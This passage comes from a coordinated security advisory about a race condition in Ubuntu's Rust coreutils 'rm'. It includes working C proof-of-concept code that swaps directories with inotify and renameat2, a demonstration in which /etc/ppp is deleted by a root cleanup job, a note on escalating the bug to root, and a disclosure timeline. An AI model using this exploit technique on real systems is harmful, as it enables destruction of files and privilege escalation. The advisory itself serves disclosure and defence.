>         DIR * const dirp = opendir(".");
>         if (!dirp) die();
>         for (;;) {
>             const struct dirent * const entp = readdir(dirp);
>             if (!entp) die();
>             if (*entp->d_name == '.') continue;
>             if (!strcmp(entp->d_name, target_dir)) break;
>             n++;
>             if (!first_dir) {
>                 first_dir = strdup(entp->d_name);
>                 if (!first_dir) die();
>             }
>         }
>         if (closedir(dirp)) die();
>         if (n >= n_pre_dirs) break;
>     }
>     if (!first_dir) die();
>
>     if (chdir(first_dir)) die();
>     unsigned long i;
>     for (i = 0; i < n_pre_dirs; i++) {
>         char num[256];
>         snprintf(num, sizeof(num), "%lu", i);
>         if (mkdir(num, 0700)) die();
>     }
>     const int in_fd = inotify_init();
>     if (in_fd <= -1) die();
>     if (inotify_add_watch(in_fd, ".", IN_ATTRIB) <= -1) die();
>
>     if (chdir("..")) die();
>     if (chdir("..")) die();
>     if (symlink(parent_dir, "../switch")) die();
>     static const struct utimbuf epoch = { 1, 1 };
>     if (utime(".", &epoch)) die();
>
>     fprintf(stderr, "ready\n");
>     static char in_buf[sizeof(struct inotify_event) + NAME_MAX + 1];
>     if (read(in_fd, in_buf, sizeof(in_buf)) < (ssize_t)sizeof(struct 
> inotify_event)) die();
>     if (renameat2(AT_FDCWD, "parent", AT_FDCWD, "../switch", 
> RENAME_EXCHANGE)) die();
>     die();
> }
> EOF
>
> $ gcc -s -o uutils_rm uutils_rm.c
>
> $ stat /etc/ppp
> ...
> Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
> ...
>
> $ ./uutils_rm /var/crash /etc/ppp
> ready
> ------------------------------------------------------------------------
>
> Then, as root (to simulate the /etc/cron.daily/apport shell script):
>
> ------------------------------------------------------------------------
> # id
> uid=0(root) gid=0(root) groups=0(root)
>
> # dpkg -S /usr/lib/cargo/bin/coreutils/rm
> rust-coreutils: /usr/lib/cargo/bin/coreutils/rm
>
> # dpkg -l rust-coreutils
> ...
> ii  rust-coreutils 0.2.2-0ubuntu2.1 amd64        Universal coreutils utils, 
> written in Rust
>
> # find /var/crash/. ! -name . -prune -type d \( -mtime +7 \) -exec 
> /usr/lib/cargo/bin/coreutils/rm -Rf -- '{}' \;
> ...
>
> # stat /etc/ppp
> stat: cannot stat '/etc/ppp': No such file or directory (os error 2)
> ------------------------------------------------------------------------
>
> Back in September 2025, we reported this vulnerability to Ubuntu as a
> denial of service (the ability to delete arbitrary files and directories
> as root), but after writing this advisory it became perfectly clear that
> this vulnerability was actually powerful enough to be transformed into a
> Local Privilege Escalation (LPE) to full root (for example by deleting a
> /tmp/snap-private-tmp/$SNAP/tmp/.snap directory). Fortunately, this LPE
> was avoided thanks to the Ubuntu Security Team, who proactively reached
> out to us and mitigated it before the release of Ubuntu 25.10.
>
>
> ========================================================================
> Acknowledgments
> ========================================================================
>
> We thank everyone at Canonical who worked on this release (Seth Arnold,
> Zygmunt Krynicki, Nick Dyer, Eduardo Barretto, and Luci Stanescu, in
> particular) and on the uutils coreutils with us (Octavio Galland, Ravi
> Kant Sharma, Seth Arnold, and Julian Andres Klode, in particular). We
> also thank the members of the linux-distros mailing list (Alexander
> Peslyak in particular).
>
> Finally, we dedicate this advisory to Felix Lindner:
>
>   https://phenoelit.de/fx.html
>   https://defcon.social/@thedarktangent/116157827849844661
>
>
> ========================================================================
> Timeline
> ========================================================================
>
> 2025-12-15: We sent a draft of our advisory and two proofs of concept
> (firefox_24.04.c and snap-store_25.10.c) to the Ubuntu Security Team.
>
> 2026-03-12: The Ubuntu Security Team sent a patch, and we sent a draft
> of our advisory, to the linux-distros mailing list.
>
> 2026-03-17: Coordinated Release Date (14:00 UTC).

Reply via email to